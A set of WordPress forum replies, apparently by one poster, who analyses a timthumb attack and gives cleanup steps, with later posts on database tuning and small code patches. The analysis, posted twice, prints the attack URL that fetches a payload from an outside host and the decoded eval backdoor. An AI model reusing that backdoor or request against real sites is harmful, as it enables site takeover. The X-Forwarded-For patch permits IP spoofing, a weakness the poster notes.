jaybook

Hi roc69,

please check your htaccess file for code that redirects Google and other search engines to sokoloperkovuskeci.com

Did you check your theme and plugin folders for timthumb.php or thumb.php?
If it wasn’t that, perhaps the attacker exploited another hole in WordPress to modify your htaccess file.

Hi – I’m reposting my original comment with links to pastebin, as I can’t edit my original comment.

—–
Well, this is how it seems to work:

1)It first scans the site’s HTML to find the active theme’s folder
2)It looks for the file tinythumb.php in the main theme folder, and makes a request like this:

yoursite.wordpress.com/wp-content/themes/activetheme/tinythumb.php?src=https://{random_string}.flickr.com.dpprc.com/dppadmin/stats.php

This tricks the tinythumb.php script into downloading the file from dpprc.com. It is disguised as a PNG, (with a binary PNG header), but has the following code in it:

https://pastebin.com/MhPh4Lsg

It’s using some sort of encoding to hide its true intent. It’s exploiting a feature of the preg_replace function to execute PHP code.

More info:
https://us3.php.net/manual/en/function.preg-replace.php

It first sets up a variable to hold the random string, which is the same as the first part of the attacker’s script’s URL (before the dot).

The first parameter (reg ex. pattern) of preg_replace evaluates to:
#(.+)#ie

This seems to be a pattern to satisfy the preg_replace function and trigger execution of the attacker’s code.
As will become clear, the real purpose of calling the function is execute code, not do a regular expression match.

It’s performing a case-insensitive match (the “i” flag), and executing code (the “e” flag).

From https://blog.akilles.org/2008/09/17/preg_replace-in-php-with-e-flag/ :

“The /e flag makes the (quoted) replacement string to be treated as PHP-code, so that one can make more complex regex-replacements in a one-liner.”

The pound signs simply denote the start and end of the reg ex pattern, and it’s matching everything in the subject “(.+)”.

The second parameter (replacement) evaluates to:

@eval("\1");

This seems to be calling the eval function on the entire subject (the third parameter). (It’s also suppressing any error messages that may be written to the PHP error log, with the @ symbol.)

The third parameter (the subject) evaluates to:
https://pastebin.com/mLRtCakv

This, in turn evaluates to:

if (isset($_GET["cookie"])) {
echo "cookie=4";
if (isset($_POST[$cookey])) @eval(base64_decode($_POST[$cookey]));
exit;
}

This code gets saved to the timthumb cache folder.
After the initial request to timthumb.php, here’s what I think happens:

The attacker tries to see if the script was saved, by calling it with the “?cookie=xyz” parameter. In this case, it outputs “cookie=4”.
Once he’s verified that the script is working, he makes a POST request to the script with the POST parameter named “cookey”. This allows him to run any PHP code that is base64 encoded and posted to the script.
This is probably how he modifies the htaccess file.

This seems like an extremely sophisticated operation – so, whoever’s doing it probably has plenty of time and money. The motive is clearly profit – they’re trying to increase the search engine ranking for their site using unethical and illegal techniques.

The attacker’s site seems to be hosted on Fatcow.

Well, this is how it seems to work:

1)It first scans the site’s HTML to find the active theme’s folder
2)It looks for the file tinythumb.php in the main theme folder, and makes a request like this:

yoursite.wordpress.com/wp-content/themes/activetheme/tinythumb.php?src=https://{random_string}.flickr.com.dpprc.com/dppadmin/stats.php

This tricks the tinythumb.php script into downloading the file from dpprc.com. It is disguised as a PNG, (with a binary PNG header), but has the following code in it:

[Code moderated as per the Forum Rules. Please use the pastebin]

It’s using some sort of encoding to hide its true intent. It’s exploiting a feature of the preg_replace function to execute PHP code.

More info:
https://us3.php.net/manual/en/function.preg-replace.php

It first sets up a variable to hold the random string, which is the same as the first part of the attacker’s script’s URL (before the dot).

The first parameter (reg ex. pattern) of preg_replace evaluates to:
#(.+)#ie

This seems to be a pattern to satisfy the preg_replace function and trigger execution of the attacker’s code.
As will become clear, the real purpose of calling the function is execute code, not do a regular expression match.

It’s performing a case-insensitive match (the “i” flag), and executing code (the “e” flag).

From https://blog.akilles.org/2008/09/17/preg_replace-in-php-with-e-flag/ :

“The /e flag makes the (quoted) replacement string to be treated as PHP-code, so that one can make more complex regex-replacements in a one-liner.”

The pound signs simply denote the start and end of the reg ex pattern, and it’s matching everything in the subject “(.+)”.

The second parameter (replacement) evaluates to:

@eval("\1");

This seems to be calling the eval function on the entire subject (the third parameter). (It’s also suppressing any error messages that may be written to the PHP error log, with the @ symbol.)

The third parameter (the subject) evaluates to:
[ditto]

This, in turn evaluates to:

if (isset($_GET[“cookie”])) {
echo “cookie=4”;
if (isset($_POST[$cookey])) @eval(base64_decode($_POST[$cookey]));
exit;
}
`
This code gets saved to the timthumb cache folder.
After the initial request to timthumb.php, here’s what I think happens:

The attacker tries to see if the script was saved, by calling it with the “?cookie=xyz” parameter. In this case, it outputs “cookie=4”.
Once he’s verified that the script is working, he makes a POST request to the script with the POST parameter named “cookey”. This allows him to run any PHP code that is base64 encoded and posted to the script.
This is probably how he modifies the htaccess file.

This seems like an extremely sophisticated operation – so, whoever’s doing it probably has plenty of time and money. The motive is clearly profit – they’re trying to increase the search engine ranking for their site using unethical and illegal techniques.

If you had your htaccess file hacked, here are some simple steps to take your site back:

1)Find and remove all instances of timthumb.php and thumb.php:

Look in your theme and plugin folders for files named timthumb.php and thumb.php.

First places to look:
{root}/wp-content/themes/{all sub folders}
{root}/wp-content/plugins/{all sub folders}

These are legitimate files, but which have security holes in them that allow the attacker to control your site.

A version of timthumb.php is present in the WordPress Most Popular Posts plugin, in the “scripts” sub-directory.

You can delete these files, as they are not usually needed. Before you do so, back them up.

2) Remove timthumb cache sub-directory

Look for a “cache” sub-directory, right below where you found the PHP files above (timthumb.php, or thumb.php). Remove any files stored in there. Either delete the folder, or make it not write-able by your web server.

3)Make your .htaccess file in the root not write-able by the web server

4)Add an additional htaccess password to the wp-admin folder

5)Reset all your passwords:

FTP/SSH, WordPress, and DB password. Make sure they are at least 10 characters long, have letters and numbers, and are in upper and lower case. Also add some special characters ($#%^&*()!@#)

Hello hayzie,

thank you very much for your detailed reply and explanation. Yes, we have tens of thousands of posts on this site.

I applied the patch to 2.9.1 to our 2.9.2 installation, and within a minute, the load average on the database server dropped from around 200 to 0.62. So obviously, there is a serious flaw in WordPress, or MySQL (or both), when it comes to sites with more than a thousand posts.

I also deleted all revisions older than the current month from the database, which reduced the size of the wp_posts table by more than half. Storing revision data takes up more space than necessary. More information about that can be found here:
https://lesterchan.net/wordpress/2008/07/17/how-to-turn-off-post-revision-in-wordpress-26/

I still notice periodic spikes in traffic due to some SQL_CALC_FOUND_ROWS queries which have not been addressed by the patch. These are:

SELECT?SQL_CALC_FOUND_ROWS?wp_posts.ID?
FROM?wp_posts?WHERE??=??AND?wp_posts.post_type?=???
AND?(wp_posts.post_status?=??)?
ORDER?BY?wp_posts.post_date?
DESC?LIMIT??,??

Average time: 52 seconds

SELECT SQL_CALC_FOUND_ROWS
wp_posts.ID
FROM wp_posts
WHERE ?=?
AND wp_posts.post_type = ? AND
(wp_posts.post_status = ?)
ORDER BY wp_posts.ID ASC LIMIT ?, ?

Average time: 58 seconds

SELECT YEAR(post_date) ASyear, MONTH(post_date) ASmonth`, count(ID) as posts
FROM wp_posts
WHERE post_type = ? AND post_status = ?
GROUP BY YEAR(post_date), MONTH(post_date) ORDER BY post_date DESC`

Average time: 48 seconds

Re: W3 Total Cache
We tried W3 Total Cache with memcached, but it proved to be buggy / ineffective. For whatever reason, it was simply not caching the vast majority of queries. We replaced it with WP Super Cache (which duplicates cache files on each web server, instead of using a single memcached server), and the response time for pages improved to about 1/3rd or 1/4 of the original. This is totally the opposite of what I thought would be the case, and I’m not sure why it made such a difference.

We are also using MySQL on EC2, with its data stored on an EBS volume ( as described here: https://aws.amazon.com/articles/1663?_encoding=UTF8&jiveRedirect=1 )
Since EBS is essentially a networked file system, I’m not sure if that adds to the response time / locks associated with the use of SQL_CALC_FOUND_ROWS. We could use EC2 instance storage, which is much faster, but also volatile. All instance storage is permanently lost if the instance fails, or is terminated.

The takeaway from this for me is that WordPress has some serious flaws in its core code that should be addressed. The code in query.php is extremely dense, and more complicated than it should be.

Best Regards,
– Jay

Hello,

if you are using a load-balancer (such as Amazon’s Elastic Load Balancer used with EC2), you need to patch the wp_new_comment function in wp-includes/comment.php.

Replace the following line:

$commentdata['comment_author_IP'] = preg_replace( '/[^0-9a-fA-F:., ]/', '',$_SERVER['REMOTE_ADDR'] );

with these lines:

$headers = apache_request_headers();
if( isset($headers['X-FORWARDED-FOR']) ){
    $REMOTE_ADDR = $headers['X-FORWARDED-FOR'];
}
else{
    $REMOTE_ADDR = $_SERVER['REMOTE_ADDR'];
}
$commentdata['comment_author_IP'] = preg_replace( '/[^0-9a-fA-F:., ]/', '', $REMOTE_ADDR );

This code checks to see if there is an ‘X-FORWARDED-FOR’ header present in the client’s request. If it is, it uses that as the client’s IP, otherwise it uses the standard value from $_SERVER[‘REMOTE_ADDR’].

Note: this may allow sophisticated users to spoof another person’s IP address by modifying their HTTP requests to send a fake X-FORWARDED-FOR header, but it’s unlikely to happen for most users.

Hi,

this happened to me to after I upgraded a site to WordPress 3.0.

In order to fix it, replace the following code:

<div id="nextprevious">
<div class="alignleft"><?php posts_nav_link('','','? Older Posts') ?></div>
<div class="alignright"><?php posts_nav_link('','Newer Posts ?','') ?></div>
</div>

with this:

<div id="nextprevious">
<?php posts_nav_link(); ?>
</div>